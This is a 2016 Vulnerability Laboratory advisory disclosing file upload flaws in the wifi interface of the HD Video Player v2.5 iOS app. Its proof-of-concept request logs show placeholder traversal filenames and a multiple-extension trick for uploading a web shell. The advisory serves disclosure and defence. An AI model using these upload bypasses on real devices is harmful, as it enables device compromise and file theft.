HD Video Player v2.5 iOS - Multiple Web Vulnerabilities

Document Title:
===============
HD Video Player v2.5 iOS - Multiple Web Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1719


Release Date:
=============
2016-02-11


Vulnerability Laboratory ID (VL-ID):
====================================
1719


Common Vulnerability Scoring System:
====================================
7.3


Product & Service Introduction:
===============================
Video Player Pro is one of the most popular and powerful player for all iPhone devices. It is easiest iPhone phone player. This player support many formats and can 
play any video,film,music,MTV that stored on your phone. HD Player Pro - the best choice of phone player. Can play any type video music and pdf txt word excel.

(Copy of the Homepage: https://itunes.apple.com/us/app/hd-video-player-media-player/id983123556 )




Abstract Advisory Information:
==============================
The Vulnerability Laboratory Core Research Team discovered multiple web vulnerabilities in the HD Video Player v2.5 iOS mobile web-application (wifi).


Vulnerability Disclosure Timeline:
==================================
2016-02-11: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Hanlin Wang
Product: HD Video Player PRO - iOS (Web-Application) [Wifi] 2.5


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
1.1
An arbitrary file upload web vulnerability has been discovered in the HD Video Player v2.5 iOS mobile web-application (wifi).
The arbitrary file upload vulnerability allows remote attackers to unauthorized include local file/path requests or system 
specific path commands to compromise the mobile web-application.

The web vulnerability is located in the `filename` value of the `file uploader` module. Remote attackers are able to inject own files 
with malicious `filename` values in the `file upload` POST method request to compromise the mobile web-application. The arbitrary file 
upload execute occcurs in the index file dir listing and sub folders of the wifi interface. The attacker is able to inject the source 
by usage of the wifi interface or local file sync function.

The security risk of the arbitrary file upload vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.4. 
Exploitation of the arbitrary file upload web vulnerability requires no user interaction or privileged web-application user account. 
Successful exploitation of the arbitrary file upload vulnerability results in mobile application compromise or connected device component compromise.

Request Method(s):
				[+] [POST]

Vulnerable Module(s):
				[+] File Uploader

Vulnerable Parameter(s):
				[+] filename

Affected Module(s):
				[+] Index File Dir Listing (http://localhost:8083/ or http://localhost:20000)


1.2
A unrestricted file upload web vulnerability has been discovered in the HD Video Player v2.5 iOS mobile web-application (wifi).
The arbitrary file upload issue allows remote attackers to upload files with multiple extensions to bypass the system validation and compromise the web-server.

The vulnerability is located in the filename value of the `file uploader` module. Remote attackers are able to upload a php or js web-shell by a rename of the 
filename with multiple extensions in the upload POST method request. The attacker uploads for example a web-shell with the following name and extension 
`pentest.png.html.php.js.aspx.html.png`. After the upload the attacker needs to open the file in the wifi web-application interface. He deletes the .png file 
extension and can access the webshell with elevated access rights to execute. 

The security risk of the arbitrary file upload web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.3.
Exploitation of the arbitrary file upload web vulnerability requires no user interaction or privileged web-application user account with password.
Successful exploitation of the arbitrary file upload vulnerability results in unauthorized file access (aap/device) and compromise of http web-server.

Request Method(s):
				[+] [POST]

Vulnerable Module(s):
				[+] Upload

Vulnerable Parameter(s):
				[+] filename  (multiple extensions)

Affected Module(s):
				[+] Index File Dir Listing (http://localhost:8083/ or http://localhost:20000)


Proof of Concept (PoC):
=======================
1.1
The arbitrary file upload web vulnerability can be exploited by remote attackers with wifi panel access and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


PoC: Exploitation
http://localhost:8083/./[ARBITRARY FILE UPLOAD VULNERABILITY!]


--- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://localhost:8083/
   Request Header:
      Host[localhost:8083]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]
      Referer[http://localhost:8083/]
      Connection[keep-alive]
   POST-Daten:
      POST_DATA[-----------------------------25916242948566
Content-Disposition: form-data; name="file"; filename="./[ARBITRARY FILE UPLOAD VULNERABILITY!]"
Content-Type: image/png
-
Status: 200[OK]
GET http://localhost:8083/%3C./[LOCAL FILE INCLUDE VULNERABILITY!]%3E*.png
   Request Header:
      Host[localhost:8083]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]
      Referer[http://localhost:8083/]
      Connection[keep-alive]
   Response Header:
      Accept-Ranges[bytes]
      Content-Length[538]
      Date[Mi., 10 Feb. 2016 14:05:38 GMT]



Vulnerable Source: File Dir Index Listing
<td bgcolor="#87CEEB"><a href="./[[ARBITRARY FILE UPLOAD VULNERABILITY!]]">./[[ARBITRARY FILE UPLOAD VULNERABILITY!]]</a>		(     0.5 Kb)<br>
<a href="<./[LOCAL FILE INCLUDE VULNERABILITY!]"><./[ARBITRARY FILE UPLOAD VULNERABILITY!]</a>		(     0.5 Kb)<br />
<a href="BF.db">BF.db</a>		(    40.0 Kb)<br />
<a href="umengrt/">umengrt/</a>		(     0.1 Kb)<br />


1.2
The arbitrary file upload web vulnerability can be exploited by remote attackers with wifi panel access and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

PoC: Exploitation
http://localhost:8083/[ARBITRARY FILE UPLOAD VULNERABILITY!].png.js.html.php.aspx.html


--- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://localhost:8083/
   Request Header:
      Host[localhost:8083]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]
      Referer[http://localhost:8083/]
      Connection[keep-alive]
   POST-Daten:
      POST_DATA[-----------------------------25916242948566
Content-Disposition: form-data; name="file"; filename="[ARBITRARY FILE UPLOAD VULNERABILITY!].png.js.html.php.aspx.html.png"
Content-Type: image/png
-
Status: 200[OK]
GET http://localhost:8083/[ARBITRARY FILE UPLOAD VULNERABILITY!].png.js.html.php.aspx.html.png
   Request Header:
      Host[localhost:8083]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]
      Referer[http://localhost:8083/]
      Connection[keep-alive]
   Response Header:
      Accept-Ranges[bytes]
      Content-Length[538]
      Date[Mi., 10 Feb. 2016 14:05:38 GMT]



Vulnerable Source: File Dir Index Listing
<td bgcolor="#87CEEB"><a href="[ARBITRARY FILE UPLOAD VULNERABILITY!].png.js.html.php.aspx.html.png">2.png.js.html.php.aspx.html.png</a>		(     0.5 Kb)<br>
<a href="<2.png.js.html.php.aspx.html.png"><2.png.js.html.php.aspx.html.png</a>		(     0.5 Kb)<br />
<a href="BF.db">BF.db</a>		(    40.0 Kb)<br />


Security Risk:
==============
1.1
The security risk of the arbitrary file upload web vulnerability in the filename value of the upload file function is estimated as high. (CVSS 6.4)

1.2
The security risk of the second arbitrary file upload web vulnerability in the file upload mechanism is estimated as high. (CVSS 7.3)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri ([email protected]) [www.vulnerability-lab.com]


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